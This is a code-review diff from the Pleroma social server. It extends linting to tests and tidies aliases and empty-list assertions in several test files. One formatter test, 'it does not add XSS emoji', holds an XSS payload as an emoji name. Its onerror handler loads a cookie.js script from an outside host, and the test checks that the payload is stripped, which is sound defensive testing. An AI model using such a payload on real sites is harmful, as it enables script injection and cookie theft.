No OneTemporary
Actions

Authored By

Unknown

Size

353 KB

Referenced Files

None

Subscribers

None

View Options

This file is larger than 256 KB, so syntax highlighting was skipped.

	diff --git a/.credo.exs b/.credo.exs
	index 94e19c4b5..580cb2705 100644
	--- a/.credo.exs
	+++ b/.credo.exs
	@@ -1,139 +1,139 @@
	# This file contains the configuration for Credo and you are probably reading
	# this after creating it with `mix credo.gen.config`.
	#
	# If you find anything wrong or unclear in this file, please report an
	# issue on GitHub: https://github.com/rrrene/credo/issues
	#
	%{
	#
	# You can have as many configs as you like in the `configs:` field.
	configs: [
	%{
	#
	# Run any config using `mix credo -C <name>`. If no config name is given
	# "default" is used.
	name: "default",
	#
	# These are the files included in the analysis:
	files: %{
	#
	# You can give explicit globs or simply directories.
	# In the latter case `*/.{ex,exs}` will be used.
	- included: ["lib/", "src/", "web/", "apps/"],
	+ included: ["lib/", "src/", "web/", "apps/", "test/"],
	excluded: [~r"/_build/", ~r"/deps/"]
	},
	#
	# If you create your own checks, you must specify the source files for
	# them here, so they can be loaded by Credo before running the analysis.
	requires: [],
	#
	# Credo automatically checks for updates, like e.g. Hex does.
	# You can disable this behaviour below:
	check_for_updates: true,
	#
	# If you want to enforce a style guide and need a more traditional linting
	# experience, you can change `strict` to `true` below:
	strict: false,
	#
	# If you want to use uncolored output by default, you can change `color`
	# to `false` below:
	color: true,
	#
	# You can customize the parameters of any check by adding a second element
	# to the tuple.
	#
	# To disable a check put `false` as second element:
	#
	# {Credo.Check.Design.DuplicatedCode, false}
	#
	checks: [
	{Credo.Check.Consistency.ExceptionNames},
	{Credo.Check.Consistency.LineEndings},
	{Credo.Check.Consistency.MultiAliasImportRequireUse},
	{Credo.Check.Consistency.ParameterPatternMatching},
	{Credo.Check.Consistency.SpaceAroundOperators},
	{Credo.Check.Consistency.SpaceInParentheses},
	{Credo.Check.Consistency.TabsOrSpaces},

	# For some checks, like AliasUsage, you can only customize the priority
	# Priority values are: `low, normal, high, higher`
	{Credo.Check.Design.AliasUsage, priority: :low, if_called_more_often_than: 3},

	# For others you can set parameters

	# If you don't want the `setup` and `test` macro calls in ExUnit tests
	# or the `schema` macro in Ecto schemas to trigger DuplicatedCode, just
	# set the `excluded_macros` parameter to `[:schema, :setup, :test]`.
	{Credo.Check.Design.DuplicatedCode, excluded_macros: []},

	# You can also customize the exit_status of each check.
	# If you don't want TODO comments to cause `mix credo` to fail, just
	# set this value to 0 (zero).
	{Credo.Check.Design.TagTODO, exit_status: 2},
	{Credo.Check.Design.TagFIXME},

	{Credo.Check.Readability.FunctionNames},
	{Credo.Check.Readability.LargeNumbers},
	{Credo.Check.Readability.MaxLineLength, priority: :low, max_length: 100},
	{Credo.Check.Readability.ModuleAttributeNames},
	{Credo.Check.Readability.ModuleDoc, false},
	{Credo.Check.Readability.ModuleNames},
	{Credo.Check.Readability.ParenthesesOnZeroArityDefs},
	{Credo.Check.Readability.ParenthesesInCondition},
	{Credo.Check.Readability.PredicateFunctionNames},
	{Credo.Check.Readability.PreferImplicitTry},
	{Credo.Check.Readability.RedundantBlankLines},
	{Credo.Check.Readability.StringSigils},
	{Credo.Check.Readability.TrailingBlankLine},
	{Credo.Check.Readability.TrailingWhiteSpace},
	{Credo.Check.Readability.VariableNames},
	{Credo.Check.Readability.Semicolons},
	{Credo.Check.Readability.SpaceAfterCommas},

	{Credo.Check.Refactor.DoubleBooleanNegation},
	{Credo.Check.Refactor.CondStatements},
	{Credo.Check.Refactor.CyclomaticComplexity},
	{Credo.Check.Refactor.FunctionArity},
	{Credo.Check.Refactor.MatchInCondition},
	{Credo.Check.Refactor.NegatedConditionsInUnless},
	{Credo.Check.Refactor.NegatedConditionsWithElse},
	{Credo.Check.Refactor.Nesting},
	{Credo.Check.Refactor.PipeChainStart},
	{Credo.Check.Refactor.UnlessWithElse},

	{Credo.Check.Warning.BoolOperationOnSameValues},
	{Credo.Check.Warning.IExPry},
	{Credo.Check.Warning.IoInspect},
	# Got too much of them, not sure if relevant
	{Credo.Check.Warning.LazyLogging, false},
	{Credo.Check.Warning.OperationOnSameValues},
	{Credo.Check.Warning.OperationWithConstantResult},
	{Credo.Check.Warning.UnusedEnumOperation},
	{Credo.Check.Warning.UnusedFileOperation},
	{Credo.Check.Warning.UnusedKeywordOperation},
	{Credo.Check.Warning.UnusedListOperation},
	{Credo.Check.Warning.UnusedPathOperation},
	{Credo.Check.Warning.UnusedRegexOperation},
	{Credo.Check.Warning.UnusedStringOperation},
	{Credo.Check.Warning.UnusedTupleOperation},

	# Controversial and experimental checks (opt-in, just remove `, false`)
	#
	{Credo.Check.Refactor.ABCSize, false},
	{Credo.Check.Refactor.AppendSingleItem, false},
	{Credo.Check.Refactor.VariableRebinding, false},
	{Credo.Check.Warning.MapGetUnsafePass, false},

	# Deprecated checks (these will be deleted after a grace period)
	{Credo.Check.Readability.Specs, false},
	{Credo.Check.Warning.NameRedeclarationByAssignment, false},
	{Credo.Check.Warning.NameRedeclarationByCase, false},
	{Credo.Check.Warning.NameRedeclarationByDef, false},
	{Credo.Check.Warning.NameRedeclarationByFn, false},

	# Custom checks can be created using `mix credo.gen.check`.
	#
	]
	}
	]
	}
	diff --git a/test/formatter_test.exs b/test/formatter_test.exs
	index 2e717194b..f14077d25 100644
	--- a/test/formatter_test.exs
	+++ b/test/formatter_test.exs
	@@ -1,302 +1,302 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.FormatterTest do
	alias Pleroma.Formatter
	alias Pleroma.User
	use Pleroma.DataCase

	import Pleroma.Factory

	setup_all do
	Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
	:ok
	end

	describe ".add_hashtag_links" do
	test "turns hashtags into links" do
	text = "I love #cofe and #2hu"

	expected_text =
	"I love <a class='hashtag' data-tag='cofe' href='http://localhost:4001/tag/cofe' rel='tag'>#cofe</a> and <a class='hashtag' data-tag='2hu' href='http://localhost:4001/tag/2hu' rel='tag'>#2hu</a>"

	tags = Formatter.parse_tags(text)

	assert expected_text ==
	Formatter.add_hashtag_links({[], text}, tags) \|> Formatter.finalize()
	end

	test "does not turn html characters to tags" do
	text = "Fact #3: pleroma does what mastodon't"

	expected_text =
	"Fact <a class='hashtag' data-tag='3' href='http://localhost:4001/tag/3' rel='tag'>#3</a>: pleroma does what mastodon't"

	tags = Formatter.parse_tags(text)

	assert expected_text ==
	Formatter.add_hashtag_links({[], text}, tags) \|> Formatter.finalize()
	end
	end

	describe ".add_links" do
	test "turning urls into links" do
	text = "Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla ."

	expected =
	"Hey, check out <a href=\"https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla\">https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla</a> ."

	assert Formatter.add_links({[], text}) \|> Formatter.finalize() == expected

	text = "https://mastodon.social/@lambadalambda"

	expected =
	"<a href=\"https://mastodon.social/@lambadalambda\">https://mastodon.social/@lambadalambda</a>"

	assert Formatter.add_links({[], text}) \|> Formatter.finalize() == expected

	text = "https://mastodon.social:4000/@lambadalambda"

	expected =
	"<a href=\"https://mastodon.social:4000/@lambadalambda\">https://mastodon.social:4000/@lambadalambda</a>"

	assert Formatter.add_links({[], text}) \|> Formatter.finalize() == expected

	text = "@lambadalambda"
	expected = "@lambadalambda"

	assert Formatter.add_links({[], text}) \|> Formatter.finalize() == expected

	text = "http://www.cs.vu.nl/~ast/intel/"
	expected = "<a href=\"http://www.cs.vu.nl/~ast/intel/\">http://www.cs.vu.nl/~ast/intel/</a>"

	assert Formatter.add_links({[], text}) \|> Formatter.finalize() == expected

	text = "https://forum.zdoom.org/viewtopic.php?f=44&t=57087"

	expected =
	"<a href=\"https://forum.zdoom.org/viewtopic.php?f=44&t=57087\">https://forum.zdoom.org/viewtopic.php?f=44&t=57087</a>"

	assert Formatter.add_links({[], text}) \|> Formatter.finalize() == expected

	text = "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul"

	expected =
	"<a href=\"https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul\">https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul</a>"

	assert Formatter.add_links({[], text}) \|> Formatter.finalize() == expected

	text = "https://www.google.co.jp/search?q=Nasim+Aghdam"

	expected =
	"<a href=\"https://www.google.co.jp/search?q=Nasim+Aghdam\">https://www.google.co.jp/search?q=Nasim+Aghdam</a>"

	assert Formatter.add_links({[], text}) \|> Formatter.finalize() == expected

	text = "https://en.wikipedia.org/wiki/Duff's_device"

	expected =
	"<a href=\"https://en.wikipedia.org/wiki/Duff's_device\">https://en.wikipedia.org/wiki/Duff's_device</a>"

	assert Formatter.add_links({[], text}) \|> Formatter.finalize() == expected

	text = "https://pleroma.com https://pleroma.com/sucks"

	expected =
	"<a href=\"https://pleroma.com\">https://pleroma.com</a> <a href=\"https://pleroma.com/sucks\">https://pleroma.com/sucks</a>"

	assert Formatter.add_links({[], text}) \|> Formatter.finalize() == expected

	text = "xmpp:contact@hacktivis.me"

	expected = "<a href=\"xmpp:contact@hacktivis.me\">xmpp:contact@hacktivis.me</a>"

	assert Formatter.add_links({[], text}) \|> Formatter.finalize() == expected

	text =
	"magnet:?xt=urn:btih:7ec9d298e91d6e4394d1379caf073c77ff3e3136&tr=udp%3A%2F%2Fopentor.org%3A2710&tr=udp%3A%2F%2Ftracker.blackunicorn.xyz%3A6969&tr=udp%3A%2F%2Ftracker.ccc.de%3A80&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=wss%3A%2F%2Ftracker.btorrent.xyz&tr=wss%3A%2F%2Ftracker.fastcast.nz&tr=wss%3A%2F%2Ftracker.openwebtorrent.com"

	expected = "<a href=\"#{text}\">#{text}</a>"

	assert Formatter.add_links({[], text}) \|> Formatter.finalize() == expected
	end
	end

	describe "add_user_links" do
	test "gives a replacement for user links, using local nicknames in user links text" do
	text = "@gsimg According to @archa_eme_, that is @daggsy. Also hello @archaeme@archae.me"
	gsimg = insert(:user, %{nickname: "gsimg"})

	archaeme =
	insert(:user, %{
	nickname: "archa_eme_",
	info: %Pleroma.User.Info{source_data: %{"url" => "https://archeme/@archa_eme_"}}
	})

	archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})

	mentions = Pleroma.Formatter.parse_mentions(text)

	{subs, text} = Formatter.add_user_links({[], text}, mentions)

	assert length(subs) == 3
	Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)

	expected_text =
	"<span class='h-card'><a data-user='#{gsimg.id}' class='u-url mention' href='#{
	gsimg.ap_id
	}'>@<span>gsimg</span></a></span> According to <span class='h-card'><a data-user='#{
	archaeme.id
	}' class='u-url mention' href='#{"https://archeme/@archa_eme_"}'>@<span>archa_eme_</span></a></span>, that is @daggsy. Also hello <span class='h-card'><a data-user='#{
	archaeme_remote.id
	}' class='u-url mention' href='#{archaeme_remote.ap_id}'>@<span>archaeme</span></a></span>"

	assert expected_text == Formatter.finalize({subs, text})
	end

	test "gives a replacement for user links when the user is using Osada" do
	mike = User.get_or_fetch("mike@osada.macgirvin.com")

	text = "@mike@osada.macgirvin.com test"

	mentions = Formatter.parse_mentions(text)

	{subs, text} = Formatter.add_user_links({[], text}, mentions)

	assert length(subs) == 1
	Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)

	expected_text =
	"<span class='h-card'><a data-user='#{mike.id}' class='u-url mention' href='#{mike.ap_id}'>@<span>mike</span></a></span> test"

	assert expected_text == Formatter.finalize({subs, text})
	end

	test "gives a replacement for single-character local nicknames" do
	text = "@o hi"
	o = insert(:user, %{nickname: "o"})

	mentions = Formatter.parse_mentions(text)

	{subs, text} = Formatter.add_user_links({[], text}, mentions)

	assert length(subs) == 1
	Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)

	expected_text =
	"<span class='h-card'><a data-user='#{o.id}' class='u-url mention' href='#{o.ap_id}'>@<span>o</span></a></span> hi"

	assert expected_text == Formatter.finalize({subs, text})
	end

	test "does not give a replacement for single-character local nicknames who don't exist" do
	text = "@a hi"

	mentions = Formatter.parse_mentions(text)

	{subs, text} = Formatter.add_user_links({[], text}, mentions)

	- assert length(subs) == 0
	+ assert Enum.empty?(subs)
	Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)

	expected_text = "@a hi"
	assert expected_text == Formatter.finalize({subs, text})
	end
	end

	describe ".parse_tags" do
	test "parses tags in the text" do
	text = "Here's a #Test. Maybe these are #working or not. What about #漢字? And #は｡"

	expected = [
	{"#Test", "test"},
	{"#working", "working"},
	{"#漢字", "漢字"},
	{"#は", "は"}
	]

	assert Formatter.parse_tags(text) == expected
	end
	end

	test "it can parse mentions and return the relevant users" do
	text =
	"@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm"

	o = insert(:user, %{nickname: "o"})
	jimm = insert(:user, %{nickname: "jimm"})
	gsimg = insert(:user, %{nickname: "gsimg"})
	archaeme = insert(:user, %{nickname: "archaeme"})
	archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})

	expected_result = [
	{"@gsimg", gsimg},
	{"@archaeme", archaeme},
	{"@archaeme@archae.me", archaeme_remote},
	{"@o", o},
	{"@jimm", jimm}
	]

	assert Formatter.parse_mentions(text) == expected_result
	end

	test "it adds cool emoji" do
	text = "I love :moominmamma:"

	expected_result =
	"I love <img height=\"32px\" width=\"32px\" alt=\"moominmamma\" title=\"moominmamma\" src=\"/finmoji/128px/moominmamma-128.png\" />"

	assert Formatter.emojify(text) == expected_result
	end

	test "it does not add XSS emoji" do
	text =
	"I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"

	custom_emoji = %{
	"'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
	"https://placehold.it/1x1"
	}

	expected_result =
	"I love <img height=\"32px\" width=\"32px\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"

	assert Formatter.emojify(text, custom_emoji) == expected_result
	end

	test "it returns the emoji used in the text" do
	text = "I love :moominmamma:"

	assert Formatter.get_emoji(text) == [{"moominmamma", "/finmoji/128px/moominmamma-128.png"}]
	end

	test "it returns a nice empty result when no emojis are present" do
	text = "I love moominamma"
	assert Formatter.get_emoji(text) == []
	end

	test "it doesn't die when text is absent" do
	text = nil
	assert Formatter.get_emoji(text) == []
	end

	describe "/mentions_escape" do
	test "it returns text with escaped mention names" do
	text = """
	@a_breakin_glass@cybre.space
	(also, little voice inside my head thinking "maybe this will encourage people
	pronouncing it properly instead of saying _raKEWdo_ ")
	"""

	escape_text = """
	@a\\_breakin\\_glass@cybre\\.space
	(also, little voice inside my head thinking \"maybe this will encourage people
	pronouncing it properly instead of saying _raKEWdo_ \")
	"""

	mentions = [{"@a_breakin_glass@cybre.space", %{}}]
	assert Formatter.mentions_escape(text, mentions) == escape_text
	end
	end
	end
	diff --git a/test/notification_test.exs b/test/notification_test.exs
	index 94fb0ab15..755874a3d 100644
	--- a/test/notification_test.exs
	+++ b/test/notification_test.exs
	@@ -1,414 +1,415 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.NotificationTest do
	use Pleroma.DataCase
	alias Pleroma.Web.TwitterAPI.TwitterAPI
	alias Pleroma.Web.CommonAPI
	- alias Pleroma.{User, Notification}
	+ alias Pleroma.User
	+ alias Pleroma.Notification
	alias Pleroma.Web.ActivityPub.Transmogrifier
	import Pleroma.Factory

	describe "create_notifications" do
	test "notifies someone when they are directly addressed" do
	user = insert(:user)
	other_user = insert(:user)
	third_user = insert(:user)

	{:ok, activity} =
	TwitterAPI.create_status(user, %{
	"status" => "hey @#{other_user.nickname} and @#{third_user.nickname}"
	})

	{:ok, [notification, other_notification]} = Notification.create_notifications(activity)

	notified_ids = Enum.sort([notification.user_id, other_notification.user_id])
	assert notified_ids == [other_user.id, third_user.id]
	assert notification.activity_id == activity.id
	assert other_notification.activity_id == activity.id
	end
	end

	describe "create_notification" do
	test "it doesn't create a notification for user if the user blocks the activity author" do
	activity = insert(:note_activity)
	author = User.get_by_ap_id(activity.data["actor"])
	user = insert(:user)
	{:ok, user} = User.block(user, author)

	assert nil == Notification.create_notification(activity, user)
	end

	test "it doesn't create a notification for user if he is the activity author" do
	activity = insert(:note_activity)
	author = User.get_by_ap_id(activity.data["actor"])

	assert nil == Notification.create_notification(activity, author)
	end

	test "it doesn't create a notification for follow-unfollow-follow chains" do
	user = insert(:user)
	followed_user = insert(:user)
	{:ok, _, _, activity} = TwitterAPI.follow(user, %{"user_id" => followed_user.id})
	Notification.create_notification(activity, followed_user)
	TwitterAPI.unfollow(user, %{"user_id" => followed_user.id})
	{:ok, _, _, activity_dupe} = TwitterAPI.follow(user, %{"user_id" => followed_user.id})
	assert nil == Notification.create_notification(activity_dupe, followed_user)
	end

	test "it doesn't create a notification for like-unlike-like chains" do
	user = insert(:user)
	liked_user = insert(:user)
	{:ok, status} = TwitterAPI.create_status(liked_user, %{"status" => "Yui is best yuru"})
	{:ok, fav_status} = TwitterAPI.fav(user, status.id)
	Notification.create_notification(fav_status, liked_user)
	TwitterAPI.unfav(user, status.id)
	{:ok, dupe} = TwitterAPI.fav(user, status.id)
	assert nil == Notification.create_notification(dupe, liked_user)
	end

	test "it doesn't create a notification for repeat-unrepeat-repeat chains" do
	user = insert(:user)
	retweeted_user = insert(:user)

	{:ok, status} =
	TwitterAPI.create_status(retweeted_user, %{
	"status" => "Send dupe notifications to the shadow realm"
	})

	{:ok, retweeted_activity} = TwitterAPI.repeat(user, status.id)
	Notification.create_notification(retweeted_activity, retweeted_user)
	TwitterAPI.unrepeat(user, status.id)
	{:ok, dupe} = TwitterAPI.repeat(user, status.id)
	assert nil == Notification.create_notification(dupe, retweeted_user)
	end
	end

	describe "get notification" do
	test "it gets a notification that belongs to the user" do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, activity} =
	TwitterAPI.create_status(user, %{"status" => "hey @#{other_user.nickname}"})

	{:ok, [notification]} = Notification.create_notifications(activity)
	{:ok, notification} = Notification.get(other_user, notification.id)

	assert notification.user_id == other_user.id
	end

	test "it returns error if the notification doesn't belong to the user" do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, activity} =
	TwitterAPI.create_status(user, %{"status" => "hey @#{other_user.nickname}"})

	{:ok, [notification]} = Notification.create_notifications(activity)
	{:error, _notification} = Notification.get(user, notification.id)
	end
	end

	describe "dismiss notification" do
	test "it dismisses a notification that belongs to the user" do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, activity} =
	TwitterAPI.create_status(user, %{"status" => "hey @#{other_user.nickname}"})

	{:ok, [notification]} = Notification.create_notifications(activity)
	{:ok, notification} = Notification.dismiss(other_user, notification.id)

	assert notification.user_id == other_user.id
	end

	test "it returns error if the notification doesn't belong to the user" do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, activity} =
	TwitterAPI.create_status(user, %{"status" => "hey @#{other_user.nickname}"})

	{:ok, [notification]} = Notification.create_notifications(activity)
	{:error, _notification} = Notification.dismiss(user, notification.id)
	end
	end

	describe "clear notification" do
	test "it clears all notifications belonging to the user" do
	user = insert(:user)
	other_user = insert(:user)
	third_user = insert(:user)

	{:ok, activity} =
	TwitterAPI.create_status(user, %{
	"status" => "hey @#{other_user.nickname} and @#{third_user.nickname} !"
	})

	{:ok, _notifs} = Notification.create_notifications(activity)

	{:ok, activity} =
	TwitterAPI.create_status(user, %{
	"status" => "hey again @#{other_user.nickname} and @#{third_user.nickname} !"
	})

	{:ok, _notifs} = Notification.create_notifications(activity)
	Notification.clear(other_user)

	assert Notification.for_user(other_user) == []
	assert Notification.for_user(third_user) != []
	end
	end

	describe "set_read_up_to()" do
	test "it sets all notifications as read up to a specified notification ID" do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, _activity} =
	TwitterAPI.create_status(user, %{
	"status" => "hey @#{other_user.nickname}!"
	})

	{:ok, _activity} =
	TwitterAPI.create_status(user, %{
	"status" => "hey again @#{other_user.nickname}!"
	})

	[n2, n1] = notifs = Notification.for_user(other_user)
	assert length(notifs) == 2

	assert n2.id > n1.id

	{:ok, _activity} =
	TwitterAPI.create_status(user, %{
	"status" => "hey yet again @#{other_user.nickname}!"
	})

	Notification.set_read_up_to(other_user, n2.id)

	[n3, n2, n1] = Notification.for_user(other_user)

	assert n1.seen == true
	assert n2.seen == true
	assert n3.seen == false
	end
	end

	describe "notification target determination" do
	test "it sends notifications to addressed users in new messages" do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, activity} =
	CommonAPI.post(user, %{
	"status" => "hey @#{other_user.nickname}!"
	})

	assert other_user in Notification.get_notified_from_activity(activity)
	end

	test "it sends notifications to mentioned users in new messages" do
	user = insert(:user)
	other_user = insert(:user)

	create_activity = %{
	"@context" => "https://www.w3.org/ns/activitystreams",
	"type" => "Create",
	"to" => ["https://www.w3.org/ns/activitystreams#Public"],
	"actor" => user.ap_id,
	"object" => %{
	"type" => "Note",
	"content" => "message with a Mention tag, but no explicit tagging",
	"tag" => [
	%{
	"type" => "Mention",
	"href" => other_user.ap_id,
	"name" => other_user.nickname
	}
	],
	"attributedTo" => user.ap_id
	}
	}

	{:ok, activity} = Transmogrifier.handle_incoming(create_activity)

	assert other_user in Notification.get_notified_from_activity(activity)
	end

	test "it does not send notifications to users who are only cc in new messages" do
	user = insert(:user)
	other_user = insert(:user)

	create_activity = %{
	"@context" => "https://www.w3.org/ns/activitystreams",
	"type" => "Create",
	"to" => ["https://www.w3.org/ns/activitystreams#Public"],
	"cc" => [other_user.ap_id],
	"actor" => user.ap_id,
	"object" => %{
	"type" => "Note",
	"content" => "hi everyone",
	"attributedTo" => user.ap_id
	}
	}

	{:ok, activity} = Transmogrifier.handle_incoming(create_activity)

	assert other_user not in Notification.get_notified_from_activity(activity)
	end

	test "it does not send notification to mentioned users in likes" do
	user = insert(:user)
	other_user = insert(:user)
	third_user = insert(:user)

	{:ok, activity_one} =
	CommonAPI.post(user, %{
	"status" => "hey @#{other_user.nickname}!"
	})

	{:ok, activity_two, _} = CommonAPI.favorite(activity_one.id, third_user)

	assert other_user not in Notification.get_notified_from_activity(activity_two)
	end

	test "it does not send notification to mentioned users in announces" do
	user = insert(:user)
	other_user = insert(:user)
	third_user = insert(:user)

	{:ok, activity_one} =
	CommonAPI.post(user, %{
	"status" => "hey @#{other_user.nickname}!"
	})

	{:ok, activity_two, _} = CommonAPI.repeat(activity_one.id, third_user)

	assert other_user not in Notification.get_notified_from_activity(activity_two)
	end
	end

	describe "notification lifecycle" do
	test "liking an activity results in 1 notification, then 0 if the activity is deleted" do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, activity} = CommonAPI.post(user, %{"status" => "test post"})

	- assert length(Notification.for_user(user)) == 0
	+ assert Enum.empty?(Notification.for_user(user))

	{:ok, _, _} = CommonAPI.favorite(activity.id, other_user)

	assert length(Notification.for_user(user)) == 1

	{:ok, _} = CommonAPI.delete(activity.id, user)

	- assert length(Notification.for_user(user)) == 0
	+ assert Enum.empty?(Notification.for_user(user))
	end

	test "liking an activity results in 1 notification, then 0 if the activity is unliked" do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, activity} = CommonAPI.post(user, %{"status" => "test post"})

	- assert length(Notification.for_user(user)) == 0
	+ assert Enum.empty?(Notification.for_user(user))

	{:ok, _, _} = CommonAPI.favorite(activity.id, other_user)

	assert length(Notification.for_user(user)) == 1

	{:ok, _, _, _} = CommonAPI.unfavorite(activity.id, other_user)

	- assert length(Notification.for_user(user)) == 0
	+ assert Enum.empty?(Notification.for_user(user))
	end

	test "repeating an activity results in 1 notification, then 0 if the activity is deleted" do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, activity} = CommonAPI.post(user, %{"status" => "test post"})

	- assert length(Notification.for_user(user)) == 0
	+ assert Enum.empty?(Notification.for_user(user))

	{:ok, _, _} = CommonAPI.repeat(activity.id, other_user)

	assert length(Notification.for_user(user)) == 1

	{:ok, _} = CommonAPI.delete(activity.id, user)

	- assert length(Notification.for_user(user)) == 0
	+ assert Enum.empty?(Notification.for_user(user))
	end

	test "repeating an activity results in 1 notification, then 0 if the activity is unrepeated" do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, activity} = CommonAPI.post(user, %{"status" => "test post"})

	- assert length(Notification.for_user(user)) == 0
	+ assert Enum.empty?(Notification.for_user(user))

	{:ok, _, _} = CommonAPI.repeat(activity.id, other_user)

	assert length(Notification.for_user(user)) == 1

	{:ok, _, _} = CommonAPI.unrepeat(activity.id, other_user)

	- assert length(Notification.for_user(user)) == 0
	+ assert Enum.empty?(Notification.for_user(user))
	end

	test "liking an activity which is already deleted does not generate a notification" do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, activity} = CommonAPI.post(user, %{"status" => "test post"})

	- assert length(Notification.for_user(user)) == 0
	+ assert Enum.empty?(Notification.for_user(user))

	{:ok, _deletion_activity} = CommonAPI.delete(activity.id, user)

	- assert length(Notification.for_user(user)) == 0
	+ assert Enum.empty?(Notification.for_user(user))

	{:error, _} = CommonAPI.favorite(activity.id, other_user)

	- assert length(Notification.for_user(user)) == 0
	+ assert Enum.empty?(Notification.for_user(user))
	end

	test "repeating an activity which is already deleted does not generate a notification" do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, activity} = CommonAPI.post(user, %{"status" => "test post"})

	- assert length(Notification.for_user(user)) == 0
	+ assert Enum.empty?(Notification.for_user(user))

	{:ok, _deletion_activity} = CommonAPI.delete(activity.id, user)

	- assert length(Notification.for_user(user)) == 0
	+ assert Enum.empty?(Notification.for_user(user))

	{:error, _} = CommonAPI.repeat(activity.id, other_user)

	- assert length(Notification.for_user(user)) == 0
	+ assert Enum.empty?(Notification.for_user(user))
	end

	test "replying to a deleted post without tagging does not generate a notification" do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, activity} = CommonAPI.post(user, %{"status" => "test post"})
	{:ok, _deletion_activity} = CommonAPI.delete(activity.id, user)

	{:ok, _reply_activity} =
	CommonAPI.post(other_user, %{
	"status" => "test reply",
	"in_reply_to_status_id" => activity.id
	})

	- assert length(Notification.for_user(user)) == 0
	+ assert Enum.empty?(Notification.for_user(user))
	end
	end
	end
	diff --git a/test/object_test.exs b/test/object_test.exs
	index 72194975d..a820a34ee 100644
	--- a/test/object_test.exs
	+++ b/test/object_test.exs
	@@ -1,60 +1,61 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.ObjectTest do
	use Pleroma.DataCase
	import Pleroma.Factory
	- alias Pleroma.{Repo, Object}
	+ alias Pleroma.Repo
	+ alias Pleroma.Object

	test "returns an object by it's AP id" do
	object = insert(:note)
	found_object = Object.get_by_ap_id(object.data["id"])

	assert object == found_object
	end

	describe "generic changeset" do
	test "it ensures uniqueness of the id" do
	object = insert(:note)
	cs = Object.change(%Object{}, %{data: %{id: object.data["id"]}})
	assert cs.valid?

	{:error, _result} = Repo.insert(cs)
	end
	end

	describe "deletion function" do
	test "deletes an object" do
	object = insert(:note)
	found_object = Object.get_by_ap_id(object.data["id"])

	assert object == found_object

	Object.delete(found_object)

	found_object = Object.get_by_ap_id(object.data["id"])

	refute object == found_object

	assert found_object.data["type"] == "Tombstone"
	end

	test "ensures cache is cleared for the object" do
	object = insert(:note)
	cached_object = Object.get_cached_by_ap_id(object.data["id"])

	assert object == cached_object

	Object.delete(cached_object)

	{:ok, nil} = Cachex.get(:object_cache, "object:#{object.data["id"]}")

	cached_object = Object.get_cached_by_ap_id(object.data["id"])

	refute object == cached_object

	assert cached_object.data["type"] == "Tombstone"
	end
	end
	end
	diff --git a/test/support/builders/user_builder.ex b/test/support/builders/user_builder.ex
	index 7a1ca79b5..611a5be18 100644
	--- a/test/support/builders/user_builder.ex
	+++ b/test/support/builders/user_builder.ex
	@@ -1,22 +1,23 @@
	defmodule Pleroma.Builders.UserBuilder do
	- alias Pleroma.{User, Repo}
	+ alias Pleroma.User
	+ alias Pleroma.Repo

	def build(data \\ %{}) do
	user = %User{
	email: "test@example.org",
	name: "Test Name",
	nickname: "testname",
	password_hash: Comeonin.Pbkdf2.hashpwsalt("test"),
	bio: "A tester.",
	ap_id: "some id"
	}

	Map.merge(user, data)
	end

	def insert(data \\ %{}) do
	{:ok, user} = Repo.insert(build(data))
	User.invalidate_cache(user)
	{:ok, user}
	end
	end
	diff --git a/test/tasks/relay_test.exs b/test/tasks/relay_test.exs
	index 96fac4811..64ff07753 100644
	--- a/test/tasks/relay_test.exs
	+++ b/test/tasks/relay_test.exs
	@@ -1,69 +1,71 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Mix.Tasks.Pleroma.RelayTest do
	alias Pleroma.Activity
	- alias Pleroma.Web.ActivityPub.{ActivityPub, Relay, Utils}
	+ alias Pleroma.Web.ActivityPub.ActivityPub
	+ alias Pleroma.Web.ActivityPub.Utils
